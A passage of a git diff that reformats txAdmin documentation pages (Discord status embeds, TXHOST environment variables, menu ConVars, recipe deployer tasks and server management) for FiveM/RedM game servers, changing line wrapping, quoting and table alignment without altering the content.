embed. Each button needs: -To get a custom emoji ID, type `\:emoji_name:` in Discord chat. The message will show the emoji's ID. + To get a custom emoji ID, type `\:emoji_name:` in Discord chat. The message + will show the emoji's ID. ## Step 6: Set Up Status Channel @@ -306,20 +367,24 @@ To get a custom emoji ID, type `\:emoji_name:` in Discord chat. The message will steps={[ { title: "Create a Channel", - description: "Create a dedicated channel for your server status (e.g., #server-status)" + description: + "Create a dedicated channel for your server status (e.g., #server-status)", }, { title: "Run Status Command", - description: "Use the `/status add` command in the channel where you want the status embed", + description: + "Use the `/status add` command in the channel where you want the status embed", alert: { type: "info", - message: "The bot must have 'Send Messages' permission in the target channel." - } + message: + "The bot must have 'Send Messages' permission in the target channel.", + }, }, { title: "Verify Embed", - description: "The status embed should appear and update automatically based on your server state" - } + description: + "The status embed should appear and update automatically based on your server state", + }, ]} /> @@ -354,38 +419,56 @@ To get a custom emoji ID, type `\:emoji_name:` in Discord chat. The message will ## Next Steps - + diff --git a/content/docs/txadmin/discord-status.mdx b/content/docs/txadmin/discord-status.mdx index 967ca59..c17bb78 100644 --- a/content/docs/txadmin/discord-status.mdx +++ b/content/docs/txadmin/discord-status.mdx @@ -18,7 +18,10 @@ To modify the embed, navigate to `txAdmin > Settings > Discord Bot`, and click o

JSON Editing Tip

-

If you are having issues with JSON encoding, we recommend you use [jsoneditoronline.org](https://jsoneditoronline.org/) to modify your JSON.

+

+ If you are having issues with JSON encoding, we recommend you use + [jsoneditoronline.org](https://jsoneditoronline.org/) to modify your JSON. +

@@ -47,13 +50,20 @@ We recommend you use a tool like [discohook.org](https://discohook.org/) to edit

Important Notice

-

At save time, txAdmin cannot validate if the embed is correct without sending it to the Discord API. If it does not work, check the `System Logs` page in txAdmin and see if there are any errors related to it. You don't need to set `color` or `footer` as txAdmin will replace those. You can modify the color in the config JSON, but the footer is generated by txAdmin.

+

+ At save time, txAdmin cannot validate if the embed is correct without + sending it to the Discord API. If it does not work, check the `System + Logs` page in txAdmin and see if there are any errors related to it. You + don't need to set `color` or `footer` as txAdmin will replace those. You + can modify the color in the config JSON, but the footer is generated by + txAdmin. +

### Example Embed JSON -```json +````json { "title": "{{serverName}}", "url": "{{serverBrowserUrl}}", @@ -91,7 +101,7 @@ We recommend you use a tool like [discohook.org](https://discohook.org/) to edit "url": "https://forum-cfx-re.akamaized.net/original/5X/9/b/d/7/9bd744dc2b21804e18c3bb331e8902c930624e44.png" } } -``` +```` ## Embed Configuration diff --git a/content/docs/txadmin/env-config.mdx b/content/docs/txadmin/env-config.mdx index fe116b9..2244d0b 100644 --- a/content/docs/txadmin/env-config.mdx +++ b/content/docs/txadmin/env-config.mdx @@ -4,7 +4,12 @@ description: "Configure txAdmin through TXHOST_* environment variables." --- import { AlertTriangle, CheckCircle2, Info } from "lucide-react"; -import { FeatureList, PropertyCard, CommandCard, StepList } from "@ui/components"; +import { + FeatureList, + PropertyCard, + CommandCard, + StepList, +} from "@ui/components"; # Environment Configuration @@ -16,7 +21,14 @@ Those configurations are usually required for Game Server Providers (GSPs) and a

Deprecated Configuration

-

The `txAdminPort`, `txAdminInterface`, and `txDataPath` ConVars, as well as the `txAdminZapConfig.json` file are now considered deprecated and will cease to work in an upcoming update. If the new and old configs are present at the same time, the new one will take priority. Set `TXHOST_IGNORE_DEPRECATED_CONFIGS` to `true` to disable the old config and silence warnings.

+

+ The `txAdminPort`, `txAdminInterface`, and `txDataPath` ConVars, as well + as the `txAdminZapConfig.json` file are now considered deprecated and will + cease to work in an upcoming update. If the new and old configs are + present at the same time, the new one will take priority. Set + `TXHOST_IGNORE_DEPRECATED_CONFIGS` to `true` to disable the old config and + silence warnings. +

@@ -25,31 +37,42 @@ Those configurations are usually required for Game Server Providers (GSPs) and a The specific way to set up those variables vary from system to system, and there are usually multiple ways even within the same system. But these should work for most people: **Windows:** + - Edit your existing `start__.bat` to add the `set VAR_NAME=VALUE` commands before the `./<...>/FXServer.exe` line. - Alternatively, create a `env.bat` file with the `set` commands, then start your server with `call env.bat && FXServer.exe`. **Linux:** + - Edit your existing `run.sh` to add the `export VAR_NAME=VALUE` commands before the `exec $SCRIPTPATH/[...]` line. - Alternatively, create a `env.sh` file with the `export` commands, then start with `source env.sh && ./run.sh`. **Docker:** + - Create a `.env` file with the vars like: `VAR_NAME=VALUE` - Load it using the `--env-file=.env` flag in your docker run command. -**Pterodactyl:** +**Pterodactyl:** + - You will likely need to contact your GSP or edit the "egg" being used.

Security Recommendation

-

For security reasons, those environment variables should be set specifically for the boot process and must not be widely available for other processes. If they are to be written to a file (such as `.env`), the file should only be readable for the txAdmin process and not its children processes.

+

+ For security reasons, those environment variables should be set + specifically for the boot process and must not be widely available for + other processes. If they are to be written to a file (such as `.env`), the + file should only be readable for the txAdmin process and not its children + processes. +

## General Configuration **TXHOST_DATA_PATH** + - **Default value:** - **Windows:** `/../txData` — sits in the folder parent of the folder containing `fxserver.exe` - **Linux:** `/../../../txData` — sits in the folder that contains your `run.sh` @@ -59,21 +82,25 @@ The specific way to set up those variables vary from system to system, and there - **Note:** This variable takes priority over the deprecated `txDataPath` ConVar. **TXHOST_GAME_NAME** + - **Default value:** _undefined_ - **Options:** `fivem`, `redm` - Restricts to only running either FiveM or RedM servers. - The setup page will only show recipes for the game specified. **TXHOST_INTERFACE** + - **Default value:** `0.0.0.0` - Which interface txAdmin will bind and enforce FXServer to bind to. - **Note:** This variable takes priority over the deprecated `txAdminInterface` ConVar. **TXHOST_MAX_SLOTS** + - **Default value:** _undefined_ - Enforces the server `sv_maxClients` is set to a number less than or equal to the variable value. **TXHOST_QUIET_MODE** + - **Default value:** `false` - If true, do not pipe the FXServer's stdout/stderr to txAdmin's stdout. - You will only be able to see server output by visiting the txAdmin Live Console page. @@ -83,17 +110,20 @@ The specific way to set up those variables vary from system to system, and there ## Networking Configuration **TXHOST_TXA_PORT** + - **Default value:** `40120` - Which TCP port txAdmin should bind & listen to. - This variable cannot be `30120` to prevent user confusion. - **Note:** This variable takes priority over the deprecated `txAdminPort` ConVar. **TXHOST_TXA_URL** + - **Default value:** _undefined_ - If present, that is the URL that will show on txAdmin as its public URL on the boot message. - Useful for when running inside a container using `0.0.0.0:40120` as interface/port. **TXHOST_FXS_PORT** + - **Default value:** _undefined_ - Forces the FXServer to bind to the specified port. - Enforces or replaces the `endpoint_add_*` commands in `server.cfg`. @@ -102,6 +132,7 @@ The specific way to set up those variables vary from system to system, and there ## API & Hosting Configuration **TXHOST_API_TOKEN** + - **Default value:** _undefined_ - **Options:** `disabled` or a string matching `/^[A-Za-z0-9_-]{16,48}$/` - The token to access the `/host/status` endpoint via the `x-txadmin-envtoken` HTTP header or `?envtoken=` URL parameter. @@ -110,6 +141,7 @@ The specific way to set up those variables vary from system to system, and there - If token is present: endpoint requires the token to be present **TXHOST_PROVIDER_NAME** + - **Default value:** `Host Config` - A short name to identify this hosting provider. - Must be between 2 and 16 characters long. @@ -117,6 +149,7 @@ The specific way to set up those variables vary from system to system, and there - Must not start or end with special chars, and must not have two subsequent special chars. **TXHOST_PROVIDER_LOGO** + - **Default value:** _undefined_ - The URL for the hosting provider logo which will appear at the login page. - Maximum image size is **224x96**. @@ -128,18 +161,21 @@ The specific way to set up those variables vary from system to system, and there These variables are used only for auto-filling the config steps when deploying a new server: **TXHOST_DEFAULT_DBHOST, TXHOST_DEFAULT_DBPORT, TXHOST_DEFAULT_DBUSER, TXHOST_DEFAULT_DBPASS, TXHOST_DEFAULT_DBNAME** + - **Default value:** _undefined_ - Used for auto-filling database configuration during deployment. - All values are considered strings, and no validation is done. - Can be overwritten during manual deployment or after by modifying `server.cfg`. **TXHOST_DEFAULT_CFXKEY** + - **Default value:** _undefined_ - Used for auto-filling the Cfx.re key during deployment. - Should be a `cfxk_xxxxxxxxxxxxxxxxxxxxx_xxxxxx` key from the [Cfx.re Portal](https://portal.cfx.re/). - Very useful for developers who need to go through txAdmin Setup & Deployer frequently. **TXHOST_DEFAULT_ACCOUNT** + - **Default value:** _undefined_ - Used by GSPs for setting up an `admins.json` automatically on first boot. - Format: `username:fivemId:bcryptHash` (separated by colons) diff --git a/content/docs/txadmin/index.mdx b/content/docs/txadmin/index.mdx index c2e281a..281c1f5 100644 --- a/content/docs/txadmin/index.mdx +++ b/content/docs/txadmin/index.mdx @@ -5,7 +5,23 @@ icon: "Shield" --- import { FixFXIcon, GithubIcon } from "@ui/icons"; -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; txAdmin is a comprehensive web-based management system that provides an intuitive interface for managing FiveM and RedM servers. It offers features ranging from server monitoring and player management to automated backups and resource deployment. @@ -15,28 +31,30 @@ txAdmin is a comprehensive web-based management system that provides an intuitiv features={[ { title: "Server Monitoring", - description: "Real-time monitoring of server status, resources, and performance" + description: + "Real-time monitoring of server status, resources, and performance", }, { title: "Player Management", - description: "View, manage, and interact with connected players" + description: "View, manage, and interact with connected players", }, { title: "Automated Backups", - description: "Schedule automatic backups of server data and configurations" + description: + "Schedule automatic backups of server data and configurations", }, { title: "Config Editor", - description: "Manage server.cfg and other configuration files safely" + description: "Manage server.cfg and other configuration files safely", }, { title: "Resource Management", - description: "Deploy, enable, disable, and manage resources easily" + description: "Deploy, enable, disable, and manage resources easily", }, { title: "Web Panel", - description: "Intuitive web interface accessible from anywhere" - } + description: "Intuitive web interface accessible from anywhere", + }, ]} columns={2} /> @@ -49,14 +67,14 @@ txAdmin is a comprehensive web-based management system that provides an intuitiv title: "Windows Setup", description: "Installation and configuration on Windows systems", href: "/docs/txadmin/windows", - icon: "settings" + icon: "settings", }, { title: "Linux Setup", description: "Installation and configuration on Linux systems", href: "/docs/txadmin/linux", - icon: "terminal" - } + icon: "terminal", + }, ]} columns={2} /> @@ -104,12 +122,13 @@ txAdmin is a comprehensive web-based management system that provides an intuitiv "Configure server.cfg and basic settings", "Set up automated backups", "Deploy and enable essential resources", - "Test server connectivity and functionality" + "Test server connectivity and functionality", ]} variant="check" columns={1} /> -**Pro Tip:** txAdmin is included in all latest **non-vanilla** versions of FXServer Artifacts. - \ No newline at end of file + **Pro Tip:** txAdmin is included in all latest **non-vanilla** versions of + FXServer Artifacts. + diff --git a/content/docs/txadmin/linux/index.mdx b/content/docs/txadmin/linux/index.mdx index 8ed33a4..81bb6a5 100644 --- a/content/docs/txadmin/linux/index.mdx +++ b/content/docs/txadmin/linux/index.mdx @@ -3,7 +3,7 @@ title: Linux Guides description: Complete guide to installing and setting up txAdmin on Linux. --- -import { Step, Steps } from 'fumadocs-ui/components/steps'; +import { Step, Steps } from "fumadocs-ui/components/steps"; This section covers everything you need to know about installing and configuring txAdmin on Linux systems. Whether you're starting a new server or migrating an existing one, we'll walk you through each step. @@ -12,6 +12,7 @@ This section covers everything you need to know about installing and configuring Before you begin, ensure your Linux system meets these requirements: ### Hardware + - **Processor:** Dual-core CPU (quad-core recommended for larger servers) - **RAM:** Minimum 4GB (8GB+ recommended) - **Storage:** SSD with at least 20GB free space @@ -20,6 +21,7 @@ Before you begin, ensure your Linux system meets these requirements: - **40120** (TCP) - txAdmin web interface ### Software + - **Operating System:** Ubuntu 18.04+, Debian 10+, CentOS 8+, or any modern Linux distribution - **Node.js:** Version 16+ (usually included with FiveM artifacts) - **Web Browser:** Modern browser (Chrome, Firefox, Edge, Safari) for accessing the txAdmin panel @@ -30,4 +32,4 @@ Before you begin, ensure your Linux system meets these requirements: We provide detailed guides for different installation scenarios: -- **[Fresh Installation](/docs/txadmin/linux/install)** - Setting up txAdmin from scratch on a new Linux machine \ No newline at end of file +- **[Fresh Installation](/docs/txadmin/linux/install)** - Setting up txAdmin from scratch on a new Linux machine diff --git a/content/docs/txadmin/linux/install.mdx b/content/docs/txadmin/linux/install.mdx index 1c01a9f..2f6ee77 100644 --- a/content/docs/txadmin/linux/install.mdx +++ b/content/docs/txadmin/linux/install.mdx @@ -3,8 +3,9 @@ title: Install and Setup description: Complete guide to installing txAdmin on Linux. --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full txAdmin documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full txAdmin documentation done as soon as + possible! + diff --git a/content/docs/txadmin/linux/meta.json b/content/docs/txadmin/linux/meta.json index 93611a8..3819614 100644 --- a/content/docs/txadmin/linux/meta.json +++ b/content/docs/txadmin/linux/meta.json @@ -1,6 +1,4 @@ { - "defaultOpen": true, - "pages": [ - "install" - ] -} \ No newline at end of file + "defaultOpen": true, + "pages": ["install"] +} diff --git a/content/docs/txadmin/logs.mdx b/content/docs/txadmin/logs.mdx index e52bdc4..f269d34 100644 --- a/content/docs/txadmin/logs.mdx +++ b/content/docs/txadmin/logs.mdx @@ -99,6 +99,7 @@ logs/ ``` You can access these logs directly from the file system or through the txAdmin web panel under: + - **Admin Logs:** `txAdmin > Logs > Admin Logs` - **FXServer Console:** `txAdmin > Logs > FXServer Console` - **Server Logs:** `txAdmin > Logs > Server Logs` diff --git a/content/docs/txadmin/menu.mdx b/content/docs/txadmin/menu.mdx index f7aac7b..7f670b1 100644 --- a/content/docs/txadmin/menu.mdx +++ b/content/docs/txadmin/menu.mdx @@ -31,64 +31,78 @@ The txAdmin menu has various ConVars that can alter the default behavior of the ### Settings Page Options **txAdmin-menuEnabled** + - **Description:** Whether the menu is enabled or not. Changing it requires server restart. - **Default:** `true` **txAdmin-menuAlignRight** + - **Description:** Whether to align the menu to the right of the screen instead of the left. - **Default:** `false` **txAdmin-menuPageKey** + - **Description:** Will change the key used for changing pages in the menu. - **Value:** Must be the exact browser key code. Use [keycode.info](https://keycode.info/) and check the `event.code` section. - **Default:** `Tab` **txAdmin-playerModePtfx** + - **Description:** Determine whether to play particles effects and sound whenever an admin's player mode is changed (god mode, noclip, etc). - **Default:** `true` **txAdmin-hideAdminInPunishments** + - **Description:** Never show to the players the admin name on Bans or Warns. - **Default:** `true` **txAdmin-hideAdminInMessages** + - **Description:** Do not show the admin name on Announcements or DMs. - **Default:** `false` **txAdmin-hideDefaultAnnouncement** + - **Description:** Suppresses the display of announcements, allowing you to implement your own via the event `txAdmin:events:announcement`. - **Default:** `false` **txAdmin-hideDefaultDirectMessage** + - **Description:** Suppresses the display of direct messages, allowing you to implement your own via the event `txAdmin:events:playerDirectMessage`. - **Default:** `false` **txAdmin-hideDefaultWarning** + - **Description:** Suppresses the display of warnings, allowing you to implement your own via the event `txAdmin:events:playerWarned`. - **Default:** `false` **txAdmin-hideDefaultScheduledRestartWarning** + - **Description:** Suppresses the display of scheduled restart warnings, allowing you to implement your own via the event `txAdmin:events:scheduledRestart`. - **Default:** `false` ### ConVar Only (Not in Settings Page) **txAdmin-debugMode** + - **Description:** Will toggle debug printing on the server and client. - **Default:** `false` - **Usage:** `setr txAdmin-debugMode true` **txAdmin-menuPlayerIdDistance** + - **Description:** The distance in which Player IDs become visible, if toggled on. Game engine limits tag display to ~300m. - **Default:** `150` - **Usage:** `setr txAdmin-menuPlayerIdDistance 100` **txAdmin-menuDrunkDuration** + - **Description:** How many seconds the drunk effect (troll action) should last. - **Default:** `30` - **Usage:** `setr txAdmin-menuDrunkDuration 120` **txAdmin-menuAnnounceNotiPos** + - **Description:** Determines the location of the txAdmin announcement notification. - **Valid Positions:** `top-center`, `top-left`, `top-right`, `bottom-center`, `bottom-left`, `bottom-right` - **Default:** `top-center` @@ -97,11 +111,13 @@ The txAdmin menu has various ConVars that can alter the default behavior of the ## Commands **tx | txadmin** + - **Description:** Will toggle the in-game menu. Optional argument to open a specific player's info. - **Usage:** `/tx (playerID)`, `/txadmin (playerID)` - **Required Permission:** Must be an admin registered in the Admin Manager **txAdmin-reauth** + - **Description:** Will retrigger the re-authentication process. - **Usage:** `/txAdmin-reauth` - **Required Permission:** None diff --git a/content/docs/txadmin/meta.json b/content/docs/txadmin/meta.json index 7d9f2f8..364bfad 100644 --- a/content/docs/txadmin/meta.json +++ b/content/docs/txadmin/meta.json @@ -1,24 +1,24 @@ { - "root": true, - "pages": [ - "advanced", - "api-events", - "backup-system", - "configuration", - "custom-server-log", - "development", - "discord-bot", - "discord-status", - "env-config", - "logs", - "menu", - "palettes", - "permissions", - "recipe", - "server-management", - "translation", - "troubleshooting", - "windows", - "linux" - ] -} \ No newline at end of file + "root": true, + "pages": [ + "advanced", + "api-events", + "backup-system", + "configuration", + "custom-server-log", + "development", + "discord-bot", + "discord-status", + "env-config", + "logs", + "menu", + "palettes", + "permissions", + "recipe", + "server-management", + "translation", + "troubleshooting", + "windows", + "linux" + ] +} diff --git a/content/docs/txadmin/palettes.mdx b/content/docs/txadmin/palettes.mdx index b96374a..ac9c88c 100644 --- a/content/docs/txadmin/palettes.mdx +++ b/content/docs/txadmin/palettes.mdx @@ -65,35 +65,35 @@ Each palette contains a set of color swatches with the following structure: ### Semantic Colors -| Color | Dark Hex | Light Hex | Purpose | -|-------|----------|-----------|---------| -| Accent | F50551 | F50551 | Primary action color | -| Danger | F86565 | EF4141 | Danger/destructive actions | -| Warning | E8C957 | E6C13A | Warning messages | -| Success | 51E47A | 39E669 | Success messages | -| Info | 5AC8E1 | 39C6E6 | Info messages | +| Color | Dark Hex | Light Hex | Purpose | +| ------- | -------- | --------- | -------------------------- | +| Accent | F50551 | F50551 | Primary action color | +| Danger | F86565 | EF4141 | Danger/destructive actions | +| Warning | E8C957 | E6C13A | Warning messages | +| Success | 51E47A | 39E669 | Success messages | +| Info | 5AC8E1 | 39C6E6 | Info messages | ### Background Colors (Dark Mode) -| Element | Color | -|---------|-------| +| Element | Color | +| -------------- | ------ | | New Background | 171516 | -| Card | 1F1C1E | -| Border | 322D31 | -| Muted | 2A2629 | -| Secondary | 463F44 | -| Primary Text | F9F3F8 | +| Card | 1F1C1E | +| Border | 322D31 | +| Muted | 2A2629 | +| Secondary | 463F44 | +| Primary Text | F9F3F8 | ### Background Colors (Light Mode) -| Element | Color | -|---------|-------| +| Element | Color | +| -------------- | ------ | | New Background | F9F4F8 | -| Card | EFEAEE | -| Border | D6D2D5 | -| Muted | DCD8DB | -| Secondary | B7B3B6 | -| Primary Text | 1B161A | +| Card | EFEAEE | +| Border | D6D2D5 | +| Muted | DCD8DB | +| Secondary | B7B3B6 | +| Primary Text | 1B161A | ## Customizing Palettes diff --git a/content/docs/txadmin/permissions.mdx b/content/docs/txadmin/permissions.mdx index 6f4380c..c7f9bea 100644 --- a/content/docs/txadmin/permissions.mdx +++ b/content/docs/txadmin/permissions.mdx @@ -3,8 +3,9 @@ title: Permissions System description: Configure user roles, permissions, and access control for your txAdmin server management team. --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full txAdmin documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full txAdmin documentation done as soon as + possible! + diff --git a/content/docs/txadmin/recipe.mdx b/content/docs/txadmin/recipe.mdx index 6b7f340..6eb5bf6 100644 --- a/content/docs/txadmin/recipe.mdx +++ b/content/docs/txadmin/recipe.mdx @@ -20,14 +20,14 @@ On the setup page you will be able to import a recipe via its URL or by selectin The recipe accepts the following default meta data: -### Engine Specific Metadata *(optional)* +### Engine Specific Metadata _(optional)_ - `$engine` - The recipe's target engine version - `$minFxVersion` - The minimum required FXserver version for this recipe - `$onesync` - The required onesync value to be set after deployment. Supports only `off`, `legacy`, `on` - `$steamRequired` - Boolean declaring that the `steam_webApiKey` context variable MUST be set -### General Tags *(strongly-recommended)* +### General Tags _(strongly-recommended)_ - `name` - The short name for your recipe. Recommended to be under 24 characters - `version` - The version of your recipe @@ -53,9 +53,9 @@ The deployer has a shared context between tasks, initially populated by the `var You can set custom variables in the recipe: ```yaml -variables: - aaa: bbbb - ccc: dddd +variables: + aaa: bbbb + ccc: dddd ``` ## Tasks @@ -71,8 +71,8 @@ Every task can contain a `timeoutSeconds` option to increase its default value. Downloads a GitHub repository with an optional reference (branch, tag, commit hash) or subpath. If the directory structure does not exist, it is created. - `src` - The repository to be downloaded. Can be a URL or `repo_owner/repo_name` -- `ref` *(optional)* - Git reference (branch, tag, or commit hash). If none is set, queries GitHub API for default branch -- `subpath` *(optional)* - When specified, copies a subpath of the repository +- `ref` _(optional)_ - Git reference (branch, tag, or commit hash). If none is set, queries GitHub API for default branch +- `subpath` _(optional)_ - When specified, copies a subpath of the repository - `dest` - The destination path for the downloaded file > **Note:** If you have more than 30 of this action, it is recommended to set the ref to avoid download errors. @@ -125,7 +125,7 @@ Moves a file or directory. The directory can have contents. This is an implement - `src` - The source path (can be file or folder, cannot be root `./`) - `dest` - The destination path (cannot be root `./`) -- `overwrite` *(optional, boolean)* - When true, replaces destination if it exists +- `overwrite` _(optional, boolean)_ - When true, replaces destination if it exists ```yaml - action: move_path @@ -140,8 +140,8 @@ Copy a file or directory. The directory can have contents. This is an implementa - `src` - The source path. If `src` is a directory, copies everything inside, not the directory itself - `dest` - The destination path. If `src` is a file, `dest` cannot be a directory -- `overwrite` *(optional, boolean)* - When true, overwrite existing file or directory. Default is `true` -- `errorOnExist` *(optional, boolean)* - When overwrite is `false` and destination exists, throw an error. Default is `false` +- `overwrite` _(optional, boolean)_ - When true, overwrite existing file or directory. Default is `true` +- `errorOnExist` _(optional, boolean)_ - When overwrite is `false` and destination exists, throw an error. Default is `false` ```yaml - action: copy_path @@ -176,7 +176,7 @@ Ensures that the directory exists. If the directory structure does not exist, it Writes or appends data to a file. If not in append mode, the file will be overwritten and the directory structure will be created if it doesn't exist. This is an implementation of [fs-extra.outputFile()](https://github.com/jprichardson/node-fs-extra/blob/HEAD/docs/outputFile.md) and Node's default `fs.appendFile()`. - `file` - The path of the file to be written to -- `append` *(optional, boolean)* - When true, appends to the end of the file instead of overwriting +- `append` _(optional, boolean)_ - When true, appends to the end of the file instead of overwriting - `data` - The data to be written to the target path ```yaml @@ -203,8 +203,8 @@ Writes or appends data to a file. If not in append mode, the file will be overwr Replaces a string in the target file or files array based on a search string and/or context variables. - `file` - String or array containing the file(s) to be checked -- `mode` *(optional)* - Specify the behavior of the replacer - - `template` *(default)* - The `replace` string option processed for context variables in the `{{varName}}` format +- `mode` _(optional)_ - Specify the behavior of the replacer + - `template` _(default)_ - The `replace` string option processed for context variables in the `{{varName}}` format - `all_vars` - All variables (`{{varName}}`) will be replaced in the target file - `literal` - Normal string search/replace without any vars - `search` - The string to be searched for @@ -214,21 +214,21 @@ Replaces a string in the target file or files array based on a search string and # Single file - template mode is implicit - action: replace_string file: ./server.cfg - search: 'FXServer, but unconfigured' - replace: '{{serverName}} built with {{recipeName}} by {{recipeAuthor}}!' + search: "FXServer, but unconfigured" + replace: "{{serverName}} built with {{recipeName}} by {{recipeAuthor}}!" # Multiple files - action: replace_string mode: all_vars - file: + file: - ./resources/blah.cfg - ./something/config.json # Replace all variables - action: replace_string file: ./configs.cfg - search: 'omg_replace_this' - replace: 'got_it!' + search: "omg_replace_this" + replace: "got_it!" ``` ### connect_database diff --git a/content/docs/txadmin/server-management.mdx b/content/docs/txadmin/server-management.mdx index 47fb784..5e5d557 100644 --- a/content/docs/txadmin/server-management.mdx +++ b/content/docs/txadmin/server-management.mdx @@ -3,28 +3,74 @@ title: Server Management description: txAdmin provides a comprehensive web interface for managing all aspects of your FiveM/RedM server. This guide covers the main features and how to use them effectively. --- -import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; -import { Callout } from 'fumadocs-ui/components/callout'; -import { TypeTable, SimpleTypeTable } from '@ui/components/type-table'; -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable, RoleCard, PermissionCodeBlock, KeyboardShortcutTable, ActionTable, InfoBanner, CategoryGrid } from '@ui/components/mdx-components'; -import { ImageModal } from '@ui/components/image-modal'; +import { Tab, Tabs } from "fumadocs-ui/components/tabs"; +import { Callout } from "fumadocs-ui/components/callout"; +import { TypeTable, SimpleTypeTable } from "@ui/components/type-table"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, + RoleCard, + PermissionCodeBlock, + KeyboardShortcutTable, + ActionTable, + InfoBanner, + CategoryGrid, +} from "@ui/components/mdx-components"; +import { ImageModal } from "@ui/components/image-modal"; ## Dashboard The Dashboard is your server's command center, displaying real-time statistics and performance metrics. - + ### Key Metrics @@ -32,31 +78,57 @@ The Dashboard is your server's command center, displaying real-time statistics a -Monitor the performance graph regularly. Spikes indicate resource issues or heavy load. If you see frequent red (high frame time), consider optimizing your resources. + Monitor the performance graph regularly. Spikes indicate resource issues or + heavy load. If you see frequent red (high frame time), consider optimizing + your resources. ## Live Console The Live Console displays real-time server output and allows you to execute commands. - + ### Features @@ -67,7 +139,7 @@ The Live Console displays real-time server output and allows you to execute comm columns={2} items={[ "Player Joins", - "Player Leaves", + "Player Leaves", "Chat Messages", "Player Deaths", "Menu Actions", @@ -82,8 +154,14 @@ The Live Console displays real-time server output and allows you to execute comm @@ -92,7 +170,10 @@ The Live Console displays real-time server output and allows you to execute comm title="Server Control" commands={[ { command: "restart", description: "Restart the server" }, - { command: "say [message]", description: "Broadcast a message to all players" }, + { + command: "say [message]", + description: "Broadcast a message to all players", + }, { command: "refresh", description: "Refresh all resources" }, ]} /> @@ -100,52 +181,63 @@ The Live Console displays real-time server output and allows you to execute comm -Be careful with console commands. Some can destabilize the server if used incorrectly. + Be careful with console commands. Some can destabilize the server if used + incorrectly. ## Players The Players tab shows all connected players and their statistics. - + ### Player Information @@ -166,14 +258,19 @@ The Players tab shows all connected players and their statistics. - Has Profile Notes -Use player search to quickly find someone causing issues. Add notes to player profiles for future reference. + Use player search to quickly find someone causing issues. Add notes to player + profiles for future reference. ## Resources The Resources tab lets you manage which resources are active on your server. - + ### Resource Management @@ -190,7 +287,8 @@ The Resources tab lets you manage which resources are active on your server. - **Monitor** - Track resource performance -**Caution:** Reloading resources can cause temporary gameplay disruptions. Only do this during maintenance windows. + **Caution:** Reloading resources can cause temporary gameplay disruptions. + Only do this during maintenance windows. ## Server Log @@ -200,6 +298,7 @@ The Server Log page provides detailed analytics and historical data. ### Logger Filters Toggle logging for specific events: + - Player Joins/Leaves - Chat Messages - Player Deaths @@ -216,6 +315,7 @@ Toggle logging for specific events: - **View Navigation** - Scroll through historical logs This is useful for: + - Investigating player disputes (who said what, when) - Tracking rule violations - Debugging resource issues @@ -245,6 +345,7 @@ The History tab maintains records of all player actions and admin interventions. - Date/Time This creates an accountability log for: + - Verifying fairness of bans - Training new admins - Documenting rule enforcement @@ -268,7 +369,8 @@ Analytics for unexpected player disconnections. - Spot problematic resources that need optimization -Frequent crashes in a specific resource? That resource likely needs optimization or bug fixes. + Frequent crashes in a specific resource? That resource likely needs + optimization or bug fixes. ## Whitelist @@ -294,6 +396,7 @@ Manage which players can join your server when whitelist is enabled. ### Player Identifier Types Whitelist accepts any of these identifiers: + - `steam:` - Steam ID - `fivem:` - FiveM ID - `license:` - Game license @@ -309,7 +412,8 @@ Whitelist accepts any of these identifiers: 4. Accept their applications or manually add their IDs -**Best Practice:** Use Discord integration to automate whitelist approvals through bot commands. + **Best Practice:** Use Discord integration to automate whitelist approvals + through bot commands. ## Admins @@ -360,35 +464,27 @@ Manage administrator accounts and permissions. - **Best for:** Main administrators who have CFX forum accounts - - 1. Click **Add** admin - 2. Enter CFX username - 3. Select permissions - 4. Save - - They can login with CFX button + **Best for:** Main administrators who have CFX forum accounts 1. Click + **Add** admin 2. Enter CFX username 3. Select permissions 4. Save They can + login with CFX button - **Best for:** Local/backup admin accounts - - 1. Click **Add** admin - 2. Enter username (custom) - 3. Set password - 4. Add identifiers (optional) - 5. Select permissions - 6. Save + **Best for:** Local/backup admin accounts 1. Click **Add** admin 2. Enter + username (custom) 3. Set password 4. Add identifiers (optional) 5. Select + permissions 6. Save ### Admin Identifiers Link admin accounts to player identifiers: + - **FiveM ID** - For in-game `/getid` integration - **Discord ID** - For Discord Bot commands -**Security:** Only grant admin permissions to trusted individuals. Review admin activity regularly in the History tab. + **Security:** Only grant admin permissions to trusted individuals. Review + admin activity regularly in the History tab. ## Settings @@ -406,7 +502,8 @@ Server-wide configuration accessible only to master admins. - **Customization** - Custom commands, server-specific settings -Settings changes take effect immediately for most options. Some may require server restart. + Settings changes take effect immediately for most options. Some may require + server restart. ## Best Practices @@ -467,6 +564,7 @@ Settings changes take effect immediately for most options. Some may require serv ### Command Execution Execute server commands through the console: + - `/say [message]` - Server-wide announcement - `/kick [id] [reason]` - Remove player from server - `/ban [identifier] [reason]` - Permanently ban player @@ -475,6 +573,7 @@ Execute server commands through the console: ### Player Notes Add notes to player profiles for: + - Ban reasons - Warnings issued - Behavior notes @@ -483,14 +582,15 @@ Add notes to player profiles for: ### Audit Trail All admin actions are logged: + - Who did what - When they did it - What changed - Why (if reason provided) Use this for: + - Accountability - Training new admins - Investigating disputes - Proving fair moderation - diff --git a/content/docs/txadmin/translation.mdx b/content/docs/txadmin/translation.mdx index 700d7db..ded18bd 100644 --- a/content/docs/txadmin/translation.mdx +++ b/content/docs/txadmin/translation.mdx @@ -22,20 +22,24 @@ The `$meta.humanizer_language` key 